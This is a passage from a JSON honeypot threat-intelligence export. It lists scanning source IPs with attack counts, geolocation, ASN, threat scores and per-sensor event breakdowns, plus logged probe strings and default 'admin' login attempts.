      "honeypot_breakdown_30d": {
        "Cowrie": 36,
        "Suricata": 27
      }
    },
    "223.123.72.38": {
      "attack_count": 50,
      "first_seen": "2026-05-31T21:01:54.940Z",
      "last_seen": "2026-05-31T21:07:19.412Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Islamabad",
      "asn": 59257,
      "as_org": "CMPak Limited",
      "threat_score": 31.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T21:01:54.940000+00:00",
        "last_seen_30d": "2026-05-31T21:08:29.631000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "165.245.253.81": {
      "attack_count": 43,
      "first_seen": "2026-05-07T05:50:58.304Z",
      "last_seen": "2026-05-07T05:52:14.314Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "",
        "Call-ID: 50000",
        "Contact: <sip:nm@nm>",
        "From: <sip:nm@nm>;tag=root",
        "GET / HTTP/1.0",
        "Max-Forwards: 70",
        "OPTIONS / HTTP/1.0",
        "OPTIONS / RTSP/1.0",
        "OPTIONS sip:nm SIP/2.0"
      ],
      "passwords_attempted": [
        "",
        "Accept: application/sdp",
        "CSeq: 42 OPTIONS",
        "Content-Length: 0",
        "To: <sip:nm2@nm2>",
        "Via: SIP/2.0/TCP nm;branch=foo"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 73,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T05:50:58.304000+00:00",
        "last_seen_30d": "2026-05-07T06:02:10.583000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 43,
        "Suricata": 30
      }
    },
    "184.168.31.238": {
      "attack_count": 34,
      "first_seen": "2026-05-29T00:32:04.214Z",
      "last_seen": "2026-05-29T05:06:57.194Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 29.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 66,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T00:32:04.214000+00:00",
        "last_seen_30d": "2026-05-29T05:08:05.398000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 34,
        "Suricata": 32
      }
    },
    "131.222.210.148": {
      "attack_count": 28,
      "first_seen": "2026-05-21T21:09:20.939Z",
      "last_seen": "2026-05-21T21:19:53.139Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Syria",
      "country_code": "SY",
      "city": "Damascus",
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T21:09:20.939000+00:00",
        "last_seen_30d": "2026-05-21T21:21:31.510000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 18
      }
    },
    "66.132.172.47": {
      "attack_count": 12,
      "first_seen": "2026-05-04T00:32:29.185Z",
      "last_seen": "2026-05-13T17:35:56.083Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 83.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.5,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 142,
        "days_active_30d": 28,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T01:12:55+00:00",
        "last_seen_30d": "2026-05-29T08:12:04.499000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 79,
        "Honeytrap": 40,
        "Cowrie": 12,
        "ElasticPot": 8,
        "ConPot": 1
      }
    },
    "91.231.89.242": {
      "attack_count": 8,
      "first_seen": "2026-05-30T00:25:11.922Z",
      "last_seen": "2026-05-30T12:55:05.262Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "b'\\x00/\\x00<\\xc0\\x9c\\xc0\\xa0\\x00\\x9c\\x005\\x00=\\xc0\\x9d\\xc0\\xa1\\x00\\x9d\\x00A\\x00\\xba\\x00\\x84\\x00\\xc0\\x00\\x07\\x00\\x04\\x00\\x05\\x01\\x00\\x01\\x8d\\x00\\x00\\x00\\x14\\x00\\x12\\x00\\x00\\x0f172.105.186.117\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00'"
      ],
      "passwords_attempted": [
        "\u0000\f\u0000",
        "b\"\\xc0$\\xc0\\xad\\xc0\\xaf\\xc0,\\xc0r\\xc0s\\xcc\\xa9\\x13\\x02\\x13\\x01\\xcc\\x14\\xc0\\x07\\xc0\\x12\\xc0\\x13\\xc0'\\xc0/\\xc0\\x14\\xc0(\\xc00\\xc0`\\xc0a\\xc0v\\xc0w\\xcc\\xa8\\x13\\x05\\x13\\x04\\x13\\x03\\xcc\\x13\\xc0\\x11\\x00\""
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Gravelines",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 77.8,
      "threat_level": "high",
      "score_components": {
        "frequency": 21.3,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 135,
        "days_active_30d": 29,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T18:46:03+00:00",
        "last_seen_30d": "2026-05-30T12:56:06.864000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 29,
        "Cowrie": 8
      }
    },
    "172.236.228.111": {
      "attack_count": 7,
      "first_seen": "2026-05-28T04:45:16.794Z",
      "last_seen": "2026-05-28T04:45:17.073Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 13_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 48.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 16.2,
        "persistence": 8.3,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 42,
        "days_active_30d": 10,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-19T15:00:49+00:00",
        "last_seen_30d": "2026-05-28T04:46:26.228000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 23,
        "Honeytrap": 12,
        "Cowrie": 7
      }
    },
    "176.65.132.37": {
      "attack_count": 7,
      "first_seen": "2026-05-06T07:37:44.539Z",
      "last_seen": "2026-05-06T07:37:46.996Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 3.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T07:37:44.539000+00:00",
        "last_seen_30d": "2026-05-06T07:38:49.785000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 4
      }
    },
    "102.38.104.251": {
      "attack_count": 6,
      "first_seen": "2026-05-21T08:15:25.786Z",
      "last_seen": "2026-05-21T08:21:38.407Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Thembisa",
      "asn": 328510,
      "as_org": "ikeja",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.8,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T08:15:25.786000+00:00",
        "last_seen_30d": "2026-05-25T10:09:05.413000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 6
      }
    },
    "122.96.50.114": {
      "attack_count": 6,
      "first_seen": "2026-05-16T15:19:57.481Z",
      "last_seen": "2026-05-16T15:21:15.197Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:19:57.481000+00:00",
        "last_seen_30d": "2026-05-16T15:22:18.773000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 4
      }
    },
    "185.247.137.162": {
      "attack_count": 6,
      "first_seen": "2026-05-28T07:13:18.029Z",
      "last_seen": "2026-05-28T07:13:20.811Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": "Manchester",
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 41.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 20.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 25,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T07:10:47.284000+00:00",
        "last_seen_30d": "2026-05-28T07:14:24.529000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 6
      }
    },
    "71.6.232.23": {
      "attack_count": 6,
      "first_seen": "2026-05-18T09:58:25.427Z",
      "last_seen": "2026-05-19T03:33:55.191Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 75.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 18.5,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 25,
        "ports_targeted_30d": 21,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-04T07:37:43+00:00",
        "last_seen_30d": "2026-05-28T02:08:45.619000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 49,
        "Cowrie": 6,
        "Redishoneypot": 6,
        "Honeytrap": 3,
        "Dionaea": 2,
        "H0neytr4p": 2,
        "Honeyaml": 1,
        "Mailoney": 1
      }
    },
    "85.215.218.82": {
      "attack_count": 6,
      "first_seen": "2026-05-12T08:36:41.622Z",
      "last_seen": "2026-05-31T05:04:24.198Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 8560,
      "as_org": "IONOS SE",
      "threat_score": 81.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 16.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 12366,
        "days_active_30d": 20,
        "ports_targeted_30d": 47,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-12T06:45:57+00:00",
        "last_seen_30d": "2026-05-31T05:29:59.347000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6776,
        "Honeytrap": 5584,
        "Cowrie": 6
      }
    },
    "87.236.176.235": {
      "attack_count": 6,
      "first_seen": "2026-05-09T07:00:35.913Z",
      "last_seen": "2026-05-09T07:00:38.666Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 211298,
      "as_org": "Driftnet Ltd",
      "threat_score": 6.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T07:00:35.913000+00:00",
        "last_seen_30d": "2026-05-09T07:01:42.695000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 5
      }
    },
    "111.118.189.3": {
      "attack_count": 4,
      "first_seen": "2026-05-14T15:20:03.294Z",
      "last_seen": "2026-05-29T16:45:01.207Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 55470,
      "as_org": "Cyfuture India Pvt. Ltd.",
      "threat_score": 32.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 13.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 16,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T15:20:03.294000+00:00",
        "last_seen_30d": "2026-05-29T16:46:08.638000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "167.172.148.206": {
      "attack_count": 4,
      "first_seen": "2026-05-20T04:02:05.102Z",
      "last_seen": "2026-05-20T04:02:13.160Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 19.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-20T04:02:04+00:00",
        "last_seen_30d": "2026-05-20T04:03:18.212000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "18.205.239.199": {
      "attack_count": 4,
      "first_seen": "2026-05-09T01:10:02.844Z",
      "last_seen": "2026-05-09T01:10:09.713Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 36.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 16.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 20,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T00:47:06.023000+00:00",
        "last_seen_30d": "2026-05-23T00:58:22.982000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 4,
        "Honeytrap": 3
      }
    },
    "187.102.229.68": {
      "attack_count": 4,
      "first_seen": "2026-05-11T19:59:43.537Z",
      "last_seen": "2026-05-12T01:01:32.121Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "San Luis de la Paz",
      "asn": 273280,
      "as_org": "Jorge Juarez Luna",
      "threat_score": 7.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T19:59:43.537000+00:00",
        "last_seen_30d": "2026-05-12T01:02:34.703000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "198.235.24.242": {
      "attack_count": 4,
      "first_seen": "2026-05-03T16:33:50.874Z",
      "last_seen": "2026-05-03T16:33:54.514Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 119,
        "days_active_30d": 30,
        "ports_targeted_30d": 36,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T00:34:46.134000+00:00",
        "last_seen_30d": "2026-05-31T05:06:27.971000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Honeytrap": 32,
        "Adbhoney": 4,
        "Cowrie": 4,
        "ConPot": 2,
        "Redishoneypot": 2
      }
    },
    "3.137.198.207": {
      "attack_count": 4,
      "first_seen": "2026-05-30T10:14:37.729Z",
      "last_seen": "2026-05-30T10:17:31.924Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Columbus",
      "asn": 16509,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 36.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.1,
        "persistence": 0.8,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 41,
        "days_active_30d": 1,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-30T10:14:37.729000+00:00",
        "last_seen_30d": "2026-05-30T10:28:46.654000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Mailoney": 13,
        "Cowrie": 4
      }
    },
    "3.85.18.5": {
      "attack_count": 4,
      "first_seen": "2026-05-15T01:05:32.102Z",
      "last_seen": "2026-05-15T01:05:38.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Ashburn",
      "asn": 14618,
      "as_org": "Amazon.com, Inc.",
      "threat_score": 44.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 11.1,
        "persistence": 15.0,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 18,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-10T01:11:05.020000+00:00",
        "last_seen_30d": "2026-05-27T00:57:36.431000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "5.253.59.171": {
      "attack_count": 3,
      "first_seen": "2026-05-04T17:15:58.687Z",
      "last_seen": "2026-05-04T17:16:59.783Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 215540,
      "as_org": "Global Connectivity Solutions Llp",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 4.2,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 5,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T06:11:46.311000+00:00",
        "last_seen_30d": "2026-05-07T15:38:04.853000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 10,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "104.248.32.112": {
      "attack_count": 2,
      "first_seen": "2026-05-23T10:54:37.592Z",
      "last_seen": "2026-05-23T10:54:37.897Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 26.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.4,
        "persistence": 1.7,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 11,
        "days_active_30d": 2,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-23T10:54:37.592000+00:00",
        "last_seen_30d": "2026-05-24T20:54:51.232000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Honeytrap": 3,
        "Cowrie": 2
      }
    },
    "120.28.197.166": {
      "attack_count": 2,
      "first_seen": "2026-05-23T04:34:58.039Z",
      "last_seen": "2026-05-23T04:35:10.267Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Davao City",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T01:42:22.606000+00:00",
        "last_seen_30d": "2026-05-23T04:36:20.302000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "122.168.80.30": {
      "attack_count": 2,
      "first_seen": "2026-05-03T10:28:21.794Z",
      "last_seen": "2026-05-03T10:28:34.350Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T10:28:21.794000+00:00",
        "last_seen_30d": "2026-05-03T10:29:37.483000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "122.243.71.226": {
      "attack_count": 2,
      "first_seen": "2026-05-22T04:36:55.614Z",
      "last_seen": "2026-05-22T04:37:07.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T04:36:55.614000+00:00",
        "last_seen_30d": "2026-05-22T04:38:13.596000+00:00",
        "days_since_last_seen": 9
      },
